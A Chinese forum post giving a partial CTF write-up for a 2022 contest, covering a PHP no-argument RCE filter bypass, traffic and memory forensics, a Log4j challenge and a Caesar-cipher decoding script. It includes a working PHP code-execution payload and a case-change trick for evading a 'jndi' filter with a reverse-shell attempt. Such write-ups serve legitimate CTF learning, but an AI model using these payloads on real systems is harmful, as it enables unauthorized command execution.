首页
社区
课程
招聘
[原创]长安“战疫”网络安全卫士守护赛 部分wp
发表于: 2022-1-8 20:47 10448

[原创]长安“战疫”网络安全卫士守护赛 部分wp

2022-1-8 20:47
10448

八卦迷宫

折磨!!!!

 

cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

RCE_No_Para

PHP无参数RCE

 

参考自:https://blog.csdn.net/qq_38154820/article/details/106329976

1
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))

代码会将$_GET['code']中满足正则/[^\W]+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于,如果满足,则执行

 

第二层bypass

1
if(!preg_match('/session|end|next|header|dir/i',$_GET['code']))

对几个关键词进行了过滤

 

发现end被过滤了

 

所以用array_rand()函数代替end()

 

payload为:

1
/?code=eval(array_rand(current(get_defined_vars())));&system("ls");

 

发现了php

 

直接cat 即可

 

西安加油

一到流量题

 

看了一下没发现什么

 

导出全部的http对象

 

发现了两个文件

 

 

把两个txt文本的内容都放到CyberChef解码

 

 

 

看起来secret.txt是压缩包,推断压缩包中的内容就是图片

 

还原压缩包文件

 

 

按照提示的内容拼图

 

 

flag: cazy{make_XiAN_great_Again}

Shiro?

一开始以为是shiro

 

就利用shiro attack

 

 

但是发现并能干什么,只能执行几个命令(这个莫名的jar也是很可疑)

 

此时我随便输入用户名密码 发现都是ok

 

 

此时高度怀疑log4jRCE

 

然后尝试了一下反弹shell,发现有过滤,但是不知道什么过滤

 

 

经过测试发现是jndi被过滤了,而且可以大小写绕过

 

直接Log4j干他!

 

朴实无华的取证

确实朴实无华

 

文件名给了系统信息直接vol取证

 

先看一下内存里有什么文件 (贴一下经过我筛选的文件)

1
2
3
0x0000000001b301c0      1      0 RW-r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\我的日记.txt.txt
0x0000000001b34f90      1      1 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip
0x0000000001e65028      1      0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png

分别打开看一下

 

flag.png

 

一串意义不明的字符串以及出题人美画!

 

 

flag.zip

 

 

加密过的一个压缩包

 

我的日记.txt

 

 

这里给了部分的加密脚本

 

图片中的字符串

1
FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]

 

凯撒了一下,发现有蹊跷在里面

 

此时我们可以判断这个加密是加密脚本+凯撒

 

剩下的就是测试找规律

 

贴一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
str = [a for a in str]
for a in range(0,len(str)):
    str[a] = chr(ord(str[a])+32)
#fdcb{Xldq_zloo_fhuwdlqob_vxffhhg_lq_iljkwlqj_wkh_hslghplf}
 
for a in range(0,len(str)):
    if str[a] >= "d" and str[a]<="z":
        str[a] = chr(ord(str[a])-3)
    elif str[a]=='a':
        str[a]='x'
    elif str[a]=='b':
        str[a]='y'
    elif str[a]=='c':
        str[a]='z'
    elif str[a]=='|':
        str[a]="_"
str = "".join(str)
print(str)
#cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 4134
活跃值: (5847)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
真是小母牛不下崽
2022-1-10 23:14
0
雪    币: 8
活跃值: (4334)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
3
blck四 真是小母牛不下崽
哈哈哈哈哈哈哈哈哈哈哈
2022-1-11 09:07
0
游客
登录 | 注册 方可回帖
返回
//